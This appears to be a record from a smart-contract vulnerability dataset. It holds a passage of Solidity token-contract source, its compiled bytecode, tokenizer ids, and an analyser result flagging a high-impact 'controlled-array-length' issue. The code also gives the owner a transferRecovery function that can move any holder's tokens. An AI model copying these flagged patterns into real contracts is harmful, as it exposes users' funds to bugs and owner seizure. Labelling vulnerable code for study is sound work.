owner*splitFactor - owner additional tokens. balances[msg.sender] = multiplier; totalSupply_ = totalSupply_.mul(splitFactor); emit Transfer(address(0), msg.sender, increaseSupplyBy); // Notify exchange that we've minted tokens. // Next, increase group ratios by splitFactor, so users will receive ratio * splitFactor tokens per ether. uint256 n = nextGroupNumber; require(n > 0); // Must have at least one group. for (uint256 i = 0; i < n; i++) { Group storage currentGroup = groups[i]; currentGroup.ratio = currentGroup.ratio.mul(splitFactor); } return true; } function reverseSplitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { // SplitFactor is the multiplier per decimal of spark. splitFactor * 10**decimals = splitFactor sparks uint256 ownerBalance = balances[msg.sender]; uint256 divier = ownerBalance.div(splitFactor); uint256 decreaseSupplyBy = ownerBalance.sub(divier); // We don't use burnTokens here since the amount to subtract might be more than what the owner currently holds in their unallocated supply which will cause the function to throw. totalSupply_ = totalSupply_.div(splitFactor); balances[msg.sender] = divier; // Notify the exchanges of how many tokens were burned. emit Transfer(msg.sender, address(0), decreaseSupplyBy); // Next, decrease group ratios by splitFactor, so users will receive ratio / splitFactor tokens per ether. uint256 n = nextGroupNumber; require(n > 0); // Must have at least one group. Groups are 0-indexed. for (uint256 i = 0; i < n; i++) { Group storage currentGroup = groups[i]; currentGroup.ratio = currentGroup.ratio.div(splitFactor); } return true; } function airdrop( address[] addresses, uint256[] tokenDecimalAmounts) public onlyOwnerOrOracle returns (bool success) { uint256 n = addresses.length; require(n == tokenDecimalAmounts.length, "Array lengths mismatch"); uint256 newOwnerBalance = balances[owner]; for (uint256 i = 0; i < n; i++) { address theAddress = addresses[i]; uint256 airdropAmount = tokenDecimalAmounts[i]; if (airdropAmount > 0) { uint256 currentBalance = balances[theAddress]; balances[theAddress] = currentBalance.add(airdropAmount); newOwnerBalance = newOwnerBalance.sub(airdropAmount); emit Transfer(owner, theAddress, airdropAmount); } } balances[owner] = newOwnerBalance; emit AirdroppedBatch(addresses); return true; } function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) canTransfer returns (bool success) { // If the transferrer has purchased tokens, they must be unlocked before they can be used. if (msg.sender != owner) { // Owner can transfer anything to anyone. require(balances[msg.sender].sub(_value) >= getLockedTokens_(msg.sender)); } return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) canTransfer returns (bool success) { // If the transferrer has purchased tokens, they must be unlocked before they can be used. if (msg.sender != owner) { // Owner not affected by locked tokens require(balances[_from].sub(_value) >= getLockedTokens_(_from)); } return super.transferFrom(_from, _to, _value); } function setOpenGroup(uint256 groupNumber) public onlyOwner returns (bool success) { require(groupNumber < nextGroupNumber); openGroupNumber = groupNumber; return true; } function getLockedTokensInGroup_(address walletAddress, uint256 groupNumber) internal view returns (uint256 balance) { Member storage theMember = members[walletAddress]; if (groups[groupNumber].unlocked) { return 0; } return theMember.weiBalance[groupNumber].mul(groups[groupNumber].ratio); } function getLockedTokens_(address walletAddress) internal view returns(uint256 balance) { uint256 n = nextGroupNumber; for (uint256 i = 0; i < n; i++) { balance = balance.add(getLockedTokensInGroup_(walletAddress, i)); } return balance; } function getLockedTokens(address walletAddress) public view returns(uint256 balance) { return getLockedTokens_(walletAddress); } function getUndistributedBalanceOf_(address walletAddress, uint256 groupNumber) internal view returns (uint256 balance) { Member storage theMember = members[walletAddress]; Group storage theGroup = groups[groupNumber]; if (theGroup.distributed) { return 0; } return theMember.weiBalance[groupNumber].mul(theGroup.ratio); } function getUndistributedBalanceOf(address walletAddress, uint256 groupNumber) public view returns (uint256 balance) { return getUndistributedBalanceOf_(walletAddress, groupNumber); } function checkMyUndistributedBalance(uint256 groupNumber) public view returns (uint256 balance) { return getUndistributedBalanceOf_(msg.sender, groupNumber); } function transferRecovery(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) { // Will be used if someone sends tokens to an incorrect address by accident. This way, we have the ability to recover the tokens. For example, sometimes there's a problem of lost tokens if someone sends tokens to a contract address that can't utilize the tokens. allowed[_from][msg.sender] = allowed[_from][msg.sender].add(_value); // Authorize the owner to spend on someone's behalf. return transferFrom(_from, _to, _value); } }
0x6080604052600436106102be5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303cd3e4781146102c957806306fdde0314610307578063095ea7b3146103915780630d4891ad146103b55780630edd2ffc146103cf57806318160ddd146103f6578063215b54111461040b57806323b872dd1461049e5780632caeb8fc146104c8578063304a87b7146104e0578063313ce567146104f8578063315ad5ce14610523578063319a93951461053b5780633de39c11146105555780633ebb2d6b1461056a57806342966c681461058257806348e4e2971461059a5780634a4b674a146105af5780634b750334146105c75780634c69c00f146105dc5780634fc28f68146105fd578063506a0aaa14610621578063530e3543146106395780636198e3391461065d57806361c2c9c01461067557806364edfbf01461068a578063661884631461069257806367243482146106b65780636b2d95d4146107445780636d991cce1461076557806370a082311461077a578063715018a61461079b57806373124ced146107b057806379a9fa1c146107c557806379c8fe30146107dd5780637fd169d6146107f557806381edc308146108925780638a4db4fa146109255780638c2a59381461093a5780638da5cb5b1461095457806395d89b411461098557806397304ced1461099a5780639890220b146109b2578063a9059cbb146109c7578063b499a26f146109eb578063bd097e2114610a03578063c091c43514610a0b578063ceb6065414610a99578063d73dd62314610b7e578063d98b43f714610ba2578063dbd2ac6014610bb7578063dd62ed3e14610bd2578063e4bf619514610bf9578063ed9ca4ff14610c2a578063f2fde38b14610c44578063f9dfea5414610c65578063fab8cbe414610c7d578063fc6634b914610c95578063fed8a53b14610cad575b6102c6610d40565b50005b3480156102d557600080fd5b506102f3600160a060020a0360043581169060243516604435610fb8565b604080519115158252519081900360200190f35b34801561031357600080fd5b5061031c61103d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035657818101518382015260200161033e565b50505050905090810190601f1680156103835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039d57600080fd5b506102f3600160a060020a03600435166024356110cb565b3480156103c157600080fd5b506103cd600435611132565b005b3480156103db57600080fd5b506103e46111be565b60408051918252519081900360200190f35b34801561040257600080fd5b506103e46111c4565b34801561041757600080fd5b506040805160206004602480358281013584810280870186019097528086526102f396843596369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506111cb9650505050505050565b3480156104aa57600080fd5b506102f3600160a060020a0360043581169060243516604435611448565b3480156104d457600080fd5b506103e46004356114f6565b3480156104ec57600080fd5b506102f3600435611502565b34801561050457600080fd5b5061050d611533565b6040805160ff9092168252519081900360200190f35b34801561052f57600080fd5b506102f360043561153c565b34801561054757600080fd5b506103cd60043515156115ab565b34801561056157600080fd5b506103e4611642565b34801561057657600080fd5b506103cd600435611648565b34801561058e57600080fd5b506103cd6004356116c6565b3480156105a657600080fd5b506102f361174c565b3480156105bb57600080fd5b506102f360043561176f565b3480156105d357600080fd5b506103e4611792565b3480156105e857600080fd5b506102f3600160a060020a0360043516611798565b34801561060957600080fd5b506103e4600160a060020a03600435166024356117e4565b34801561062d57600080fd5b506102f36004356117f7565b34801561064557600080fd5b506102f3600160a060020a0360043516602435611901565b34801561066957600080fd5b506102f3600435611968565b34801561068157600080fd5b506103e46119bc565b6102f3610d40565b34801561069e57600080fd5b506102f3600160a060020a03600435166024356119ce565b3480156106c257600080fd5b50604080516020600480358082013583810280860185019096528085526102f395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750611ac09650505050505050565b34801561075057600080fd5b506103e4600160a060020a0360043516611ce1565b34801561077157600080fd5b506103e4611cec565b34801561078657600080fd5b506103e4600160a060020a0360043516611cf2565b3480156107a757600080fd5b506103cd611d0d565b3480156107bc57600080fd5b506102f3611d7b565b3480156107d157600080fd5b506103cd600435611d9c565b3480156107e957600080fd5b506102f3600435611f1c565b34801561080157600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261087794369492936024939284019190819084018382808284375094975050843595505050602083013592604081013592506060810135915060808101359060a08101359060c08101359060e00135611f55565b60408051921515835260208301919091528051918290030190f35b34801561089e57600080fd5b506040805160206004602480358281013584810280870186019097528086526102f396843596369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750611fed9650505050505050565b34801561093157600080fd5b506102f361215d565b34801561094657600080fd5b506103cd600435151561217f565b34801561096057600080fd5b5061096961220d565b60408051600160a060020a039092168252519081900360200190f35b34801561099157600080fd5b5061031c61221c565b3480156109a657600080fd5b506103cd600435612277565b3480156109be57600080fd5b506103cd61231f565b3480156109d357600080fd5b506102f3600160a060020a0360043516602435612373565b3480156109f757600080fd5b506103e460043561240e565b6103cd61242b565b348015610a1757600080fd5b50604080516020600480358082013583810280860185019096528085526102f395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061245b9650505050505050565b348015610aa557600080fd5b50610ab1600435612614565b60405180806020018d1515151581526020018c1515151581526020018b81526020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183815260200182810382528e818151815260200191508051906020019080838360005b83811015610b38578181015183820152602001610b20565b50505050905090810190601f168015610b655780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b348015610b8a57600080fd5b506102f3600160a060020a036004351660243561274e565b348015610bae57600080fd5b506103cd6127e7565b348015610bc357600080fd5b506102f360043560243561281d565b348015610bde57600080fd5b506103e4600160a060020a0360043581169060243516612a53565b348015610c0557600080fd5b506102f360043560243560443560643560843560a43560c43560e43561010435612a7e565b348015610c3657600080fd5b506103cd6004351515612b41565b348015610c5057600080fd5b506103cd600160a060020a0360043516612bd1565b348015610c7157600080fd5b506102f3600435612bf1565b348015610c8957600080fd5b506102f3600435612c30565b348015610ca157600080fd5b506103cd600435612d2e565b348015610cb957600080fd5b506040805160206004602480358281013584810280870186019097528086526102f396843596369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750612d4a9650505050505050565b6000806000806000806000600460169054906101000a900460ff161515610d6657600080fd5b331515610d7257600080fd5b336000908152600c60209081526040808320600e548452600d90925282206003810154919850965011610da457600080fd5b42935084600401548410158015610dbf575084600701548411155b1515610dca57600080fd5b8454610100900460ff16158015610de35750845460ff16155b1515610dee57600080fd5b6009543a1115610dfd57600080fd5b34925067016345785d8a0000831015610e1557600080fd5b600a850154610e2a908463ffffffff61305116565b600b860154909250821115610e3e57600080fd5b600e54600090815260208790526040902054610e60908463ffffffff61305116565b33600090815260018701602052604090205490915060ff161515610ed157600d850180546001818101835560009283526020808420909201805473ffffffffffffffffffffffffffffffffffffffff19163390811790915583528088019091526040909120805460ff191690911790555b60058501548411610f2f57600e5460408051338152602081018690528082019290925260016060830152517fdd26f741705a89a641bf9670936db6583982b27ad123d2e52c16f52501e643149181900360800190a160019650610faf565b60068501548411610f9e576008850154811115610f4b57600080fd5b600e5460408051338152602081018690528082019290925260006060830152517fdd26f741705a89a641bf9670936db6583982b27ad123d2e52c16f52501e643149181900360800190a160019650610faf565b6009850154811115610f4b57600080fd5b50505050505090565b600354600090600160a060020a03163314610fd257600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054611006908363ffffffff61305116565b600160a060020a0385166000908152600260209081526040808320338452909152902055611035848484611448565b949350505050565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156110c35780601f10611098576101008083540402835291602001916110c3565b820191906000526020600020905b8154815290600101906020018083116110a657829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600354600090600160a060020a03163314806111585750600454600160a060020a031633145b151561116357600080fd5b506000818152600d6020908152604091829020805461ff001960ff199091166001171681558251848152925190927f29c357a5c8d0a88d3bec7f98eadbf69c499098b797af76665f424431f4dbf0e192908290030190a15050565b60085481565b6001545b90565b600354600090819081908190819081908190600160a060020a03163314806111fd5750600454600160a060020a031633145b151561120857600080fd5b885188519096508614611253576040805160e560020a62461bcd0281526020600482015260166024820152600080516020613543833981519152604482015290519081900360640190fd5b60008a8152600d60205260408120600a810154909650945092505b8583101561131a57600c60008a8581518110151561128857fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020915087838151811015156112c257fe5b6020908102909101015190506112de848263ffffffff61305116565b60008b815260208490526040902054909450611300908263ffffffff61305116565b60008b81526020849052604090205560019092019161126e565b600a850184905568056bc75e2d631000006113348b61305e565b116113bb577f37230adc97de8473c3f7d8283beb37b23ba4f1237f08f8190a62b04e45218b708a6113648c61305e565b6040805192835260208301919091528051918290030190a1600b85015484106113bb57604080518b815290517f2097ed8c6ffdfed9e01ab18c5682eca607d3f4e1657d4abf32a51ea341782c699181900360200190a15b7f534eb4590ac348de6e66b31074d03cf96af9a0fab73aa98716c575e44f0b93db8a8a6040518083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561142457818101518382015260200161140c565b50505050905001935050505060405180910390a15060019998505050505050505050565b600060603660641461145957600080fd5b600354600160a060020a031633146114935760045474010000000000000000000000000000000000000000900460ff161561149357600080fd5b600354600160a060020a031633146114e2576114ae8561309e565b600160a060020a0386166000908152602081905260409020546114d7908563ffffffff6130d916565b10156114e257600080fd5b6114ed8585856130eb565b95945050505050565b600061112c3383613250565b600354600090600160a060020a0316331461151c57600080fd5b600a54821061152a57600080fd5b50600e55600190565b60075460ff1681565b6003546000908190600160a060020a0316331461155857600080fd5b50506000818152600d60205260408120600481018290556005810182905560068101829055600781018290556008810182905560098101829055600b810182905560038101919091556001905b50919050565b600354600160a060020a031633146115c257600080fd5b600480548215157401000000000000000000000000000000000000000090810274ff0000000000000000000000000000000000000000199092169190911791829055604080519190920460ff161515815290517f7772b54b7aa3898aee10d476009b352b8b0542eaa2563ebd6a12d50d0edfacde9181900360200190a150565b60095481565b600354600090600160a060020a0316331461166257600080fd5b506000818152600d60205260409020600a54821080156116845750805460ff16155b151561168f57600080fd5b6040805183815290517f802eff881699fa025d411df3fd011f381e2a10e9e6ef38c35b8c76e146966fbe9181900360200190a15050565b600354600160a060020a031633146116dd57600080fd5b336000908152602081905260409020546116fd908263ffffffff6130d916565b33600090815260208190526040902055600154611720908263ffffffff6130d916565b60015560408051828152905160009133916000805160206135638339815191529181900360200190a350565b600454760100000000000000000000000000000000000000000000900460ff1681565b600354600090600160a060020a0316331461178957600080fd5b50600855600190565b600b5481565b600354600090600160a060020a031633146117b257600080fd5b5060048054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60006117f08383613250565b9392505050565b600354600090819081908190819081908190600160a060020a0316331461181d57600080fd5b33600090815260208190526040902054955061183f868963ffffffff6132b616565b9450611851868663ffffffff6130d916565b600154909450611867908963ffffffff6132b616565b6001553360008181526020818152604080832089905580518881529051929392600080516020613563833981519152929181900390910190a3600a549250600083116118b257600080fd5b600091505b828210156118f357506000818152600d6020526040902060038101546118e3908963ffffffff6132b616565b60038201556001909101906118b7565b506001979650505050505050565b600354600090600160a060020a0316331461191b57600080fd5b60408051600160a060020a03851681526020810184905281517ff9951fbb46b09e4116221a0fdbd49ff3f8ec4ee8e893e45327e063235ad07183929181900390910190a150600192915050565b6003546000908190600160a060020a0316331461198457600080fd5b506000828152600d60205260409020805460ff1615156119a357600080fd5b805462ff00001916620100001781556001915050919050565b60006119c9600e5461305e565b905090565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115611a2357336000908152600260209081526040808320600160a060020a0388168452909152812055611a58565b611a33818463ffffffff6130d916565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600354600090819081908190819081908190600160a060020a0316331480611af25750600454600160a060020a031633145b1515611afd57600080fd5b885188519096508614611b48576040805160e560020a62461bcd0281526020600482015260166024820152600080516020613543833981519152604482015290519081900360640190fd5b600354600160a060020a0316600090815260208190526040812054955093505b85841015611c42578884815181101515611b7e57fe5b9060200190602002015192508784815181101515611b9857fe5b9060200190602002015191506000821115611c375750600160a060020a038216600090815260208190526040902054611bd7818363ffffffff61305116565b600160a060020a038416600090815260208190526040902055611c00858363ffffffff6130d916565b600354604080518581529051929750600160a060020a03808716939216916000805160206135638339815191529181900360200190a35b600190930192611b68565b600354600160a060020a031660009081526020818152604080832088905580518281528c51818401528c517f6bd09b018bf088558f7ca2a5f8ec81d0fa727ecf41a5eff5ca5420915509d374948e949293849390840192868201929102908190849084905b83811015611cbf578181015183820152602001611ca7565b505050509050019250505060405180910390a150600198975050505050505050565b600061112c8261309e565b600e5481565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a03163314611d2457600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b60045474010000000000000000000000000000000000000000900460ff1681565b60045460009081907501000000000000000000000000000000000000000000900460ff161515611dcb57600080fd5b600754611de590849060ff16600a0a63ffffffff6132cb16565b9150611df03361309e565b33600090815260208190526040902054611e10908463ffffffff6130d916565b1015611e1b57600080fd5b33600090815260208190526040902054611e3b908363ffffffff6130d916565b33600090815260208190526040902055600b54611e5f90849063ffffffff6132cb16565b90503031811115611e6f57600080fd5b600354600160a060020a0316600090815260208190526040902054611e9a908363ffffffff61305116565b600354600160a060020a0316600090815260208190526040808220929092559051339183156108fc02918491818181858888f19350505050158015611ee3573d6000803e3d6000fd5b50600354604080518481529051600160a060020a03909216913391600080516020613563833981519152919081900360200190a3505050565b600354600090600160a060020a03163314611f3657600080fd5b611f4a82633b9aca0063ffffffff6132cb16565b600955506001919050565b60035460009081908190600160a060020a03163314611f7357600080fd5b5050600a546000818152600d602090815260409091208c519091611f9e9160028401918f01906134aa565b50600481019a909a5560058a0198909855506006880195909555600787019390935560088601919091556009850155600b840155600390920191909155600a8054600190810190915592909150565b6003546000908190819081908190600160a060020a031633148061201b5750600454600160a060020a031633145b151561202657600080fd5b865186519094508414612083576040805160e560020a62461bcd02815260206004820152601660248201527f4172726179206c656e67747368206d69736d6174636800000000000000000000604482015290519081900360640190fd5b6000888152600d60205260408120935091505b838210156121465786828151811015156120ac57fe5b6020908102909101810151600160a060020a03811660009081526001860190925260409091205490915060ff16151561213b57600d830180546001808201835560009283526020808420909201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03861690811790915583528086019091526040909120805460ff191690911790555b600190910190612096565b6121518888886111cb565b98975050505050505050565b6004547501000000000000000000000000000000000000000000900460ff1681565b600354600160a060020a0316331461219657600080fd5b600480548215157501000000000000000000000000000000000000000000810275ff000000000000000000000000000000000000000000199092169190911790915560408051918252517f7005e1991959ce579ccf48eb6da4e420123f4f7bdfdb6c0796738d6c3f432f0b9181900360200190a150565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156110c35780601f10611098576101008083540402835291602001916110c3565b600354600090600160a060020a0316331461229157600080fd5b6007546122ab90839060ff16600a0a63ffffffff6132cb16565b6001549091506122c1908263ffffffff61305116565b600155336000908152602081905260409020546122e4908263ffffffff61305116565b336000818152602081815260408083209490945583518581529351929391926000805160206135638339815191529281900390910190a35050565b600354600160a060020a0316331461233657600080fd5b600354604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015612370573d6000803e3d6000fd5b50565b600060403660441461238457600080fd5b600354600160a060020a031633146123be5760045474010000000000000000000000000000000000000000900460ff16156123be57600080fd5b600354600160a060020a03163314612404576123d93361309e565b336000908152602081905260409020546123f9908563ffffffff6130d916565b101561240457600080fd5b61103584846132f4565b6000908152600d60208190526040909120600c8101549101540390565b600354600160a060020a031633148061244e5750600454600160a060020a031633145b151561245957600080fd5b565b60035460009081908190819081908190600160a060020a031633148061248b5750600454600160a060020a031633145b151561249657600080fd5b8751875190955085146124e1576040805160e560020a62461bcd0281526020600482015260166024820152600080516020613543833981519152604482015290519081900360640190fd5b6008549350600092505b8483101561259157868381518110151561250157fe5b906020019060200201519150878381518110151561251b57fe5b6020908102909101015190508184116125865761253e828563ffffffff6130d916565b9150303182111561254e57600080fd5b604051600160a060020a0382169083156108fc029084906000818181858888f19350505050158015612584573d6000803e3d6000fd5b505b6001909201916124eb565b7f3953e3f71784c01be5e0ad95d36e2fa536d6d0cc98205ed234665f2efcf0812e886040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156125f35781810151838201526020016125db565b505050509050019250505060405180910390a1506001979650505050505050565b6060600080600080600080600080600080600080600a548e10151561263857600080fd5b5060008d8152600d60209081526040918290206002808201805485516001821615610100026000190190911692909204601f8101859004850283018501909552848252919390928301828280156126d05780601f106126a5576101008083540402835291602001916126d0565b820191906000526020600020905b8154815290600101906020018083116126b357829003601f168201915b50505050509c508060000160009054906101000a900460ff169b508060000160029054906101000a900460ff169a50806008015499508060090154985080600b01549750806003015496508060040154955080600501549450806006015493508060070154925080600a015491505091939597999b5091939597999b565b336000908152600260209081526040808320600160a060020a0386168452909152812054612782908363ffffffff61305116565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600354600160a060020a031633146127fe57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000806000806000806000806000600360009054906101000a9004600160a060020a0316600160a060020a031633600160a060020a0316148061286a5750600454600160a060020a031633145b151561287557600080fd5b60008b8152600d60205260409020805490985060ff161561289557600080fd5b8754610100900460ff1615156128b357875461ff0019166101001788555b600d880154600c89015490975095508986019450868511156128d3578694505b600354600160a060020a031660009081526020819052604090205493508592505b848310156129cc57600d880180548490811061290c57fe5b600091825260209091200154600160a060020a0316915061292d828c613250565b905060008111156129c157600160a060020a038216600090815260208190526040902054612961908263ffffffff61305116565b600160a060020a03831660009081526020819052604090205561298a848263ffffffff6130d916565b600354604080518481529051929650600160a060020a03808616939216916000805160206135638339815191529181900360200190a35b6001909201916128f4565b600354600160a060020a0316600090815260208190526040902084905586851015612a3157604080518c8152602081018c905281517f49cfca8b5cce4cc1899d604dbced372d90766b107abaea147572edc4bfe22e4b929181900390910190a1612a3a565b612a3a8b611132565b600c880185905560019850505050505050505092915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6003546000908190600160a060020a03163314612a9a57600080fd5b5060008a8152600d60205260408120908a1115612ab957600481018a90555b6000891115612aca57600581018990555b6000881115612adb57600681018890555b6000871115612aec57600781018790555b6000861115612afd57600881018690555b6000851115612b0e57600981018590555b6000841115612b1f57600b81018490555b6000831115612b3057600381018390555b5060019a9950505050505050505050565b600354600160a060020a03163314612b5857600080fd5b60048054821515760100000000000000000000000000000000000000000000810276ff00000000000000000000000000000000000000000000199092169190911790915560408051918252517faacaf402900fc42a1b9c12f73a8e872a8126b1559c6cc680d43e9c5e4053c3669181900360200190a150565b600354600160a060020a03163314612be857600080fd5b612370816133c3565b600354600090600160a060020a03163314612c0b57600080fd5b506000818152600d60205260409020805462ff00001916620100001790556001919050565b600354600090819081908190819081908190600160a060020a03163314612c5657600080fd5b336000908152602081905260409020549550612c78868963ffffffff6132cb16565b9450612c8a858763ffffffff6130d916565b336000908152602081905260409020869055600154909450612cb2908963ffffffff6132cb16565b60015560408051858152905133916000916000805160206135638339815191529181900360200190a3600a54925060008311612ced57600080fd5b600091505b828210156118f357506000818152600d602052604090206003810154612d1e908963ffffffff6132cb16565b6003820155600190910190612cf2565b600354600160a060020a03163314612d4557600080fd5b600b55565b6000806000806000806000806000600360009054906101000a9004600160a060020a0316600160a060020a031633600160a060020a03161480612d975750600454600160a060020a031633145b1515612da257600080fd5b8a518a519098508814612ded576040805160e560020a62461bcd0281526020600482015260166024820152600080516020613543833981519152604482015290519081900360640190fd5b60008c8152600d602052604090208054909750610100900460ff161515612e1c57865461ff0019166101001787555b600354600160a060020a0316600090815260208190526040812054965094505b87851015612f84578a85815181101515612e5257fe5b906020019060200201519350600c600085600160a060020a0316600160a060020a0316815260200190815260200160002092508985815181101515612e9357fe5b602090810290910181015160008e815291859052604090912054909250612ec0908363ffffffff61305116565b60008d8152602085905260409020556003870154612ee590839063ffffffff6132cb16565b90506000811115612f7957600160a060020a038416600090815260208190526040902054612f19908263ffffffff61305116565b600160a060020a038516600090815260208190526040902055612f42868263ffffffff6130d916565b600354604080518481529051929850600160a060020a03808816939216916000805160206135638339815191529181900360200190a35b600190940193612e3c565b85600080600360009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020819055507f534eb4590ac348de6e66b31074d03cf96af9a0fab73aa98716c575e44f0b93db8c8c6040518083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561302b578181015183820152602001613013565b50505050905001935050505060405180910390a15060019b9a5050505050505050505050565b8181018281101561112c57fe5b6000818152600d60205260408120600b810154600a820154111561308557600091506115a5565b600a810154600b8201546117f09163ffffffff6130d916565b600a54600090815b818110156130d2576130c86130bb8583613441565b849063ffffffff61305116565b92506001016130a6565b5050919050565b6000828211156130e557fe5b50900390565b6000600160a060020a038316151561310257600080fd5b600160a060020a03841660009081526020819052604090205482111561312757600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561315757600080fd5b600160a060020a038416600090815260208190526040902054613180908363ffffffff6130d916565b600160a060020a0380861660009081526020819052604080822093909355908516815220546131b5908363ffffffff61305116565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546131f7908363ffffffff6130d916565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020613563833981519152929181900390910190a35060019392505050565b600160a060020a0382166000908152600c60209081526040808320848452600d9092528220805460ff161561328857600092506132ae565b60038101546000858152602084905260409020546132ab9163ffffffff6132cb16565b92505b505092915050565b600081838115156132c357fe5b049392505050565b60008215156132dc5750600061112c565b508181028183828115156132ec57fe5b041461112c57fe5b6000600160a060020a038316151561330b57600080fd5b3360009081526020819052604090205482111561332757600080fd5b33600090815260208190526040902054613347908363ffffffff6130d916565b3360009081526020819052604080822092909255600160a060020a03851681522054613379908363ffffffff61305116565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206135638339815191529281900390910190a350600192915050565b600160a060020a03811615156133d857600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382166000908152600c60209081526040808320848452600d90925282205462010000900460ff161561347e5760009150611ab9565b6000838152600d602090815260408083206003015491849052909120546110359163ffffffff6132cb16565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106134eb57805160ff1916838001178555613518565b82800160010185558215613518579182015b828111156135185782518255916020019190600101906134fd565b50613524929150613528565b5090565b6111c891905b80821115613524576000815560010161352e56004172726179206c656e67746873206d69736d6174636800000000000000000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f5cf28df18ab1352f9c0c8aafb98cd6bfb20c77f2dfa86515ed36aeab6c93d3c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2487, 2094, 2692, 18139, 2063, 2581, 24434, 2575, 16147, 2620, 2620, 2549, 2546, 2475, 20952, 23352, 2063, 21486, 2278, 2581, 15878, 21084, 12521, 23499, 21926, 22407, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,643
0x971e78e0C92392A4E39099835cF7E6aB535b2227
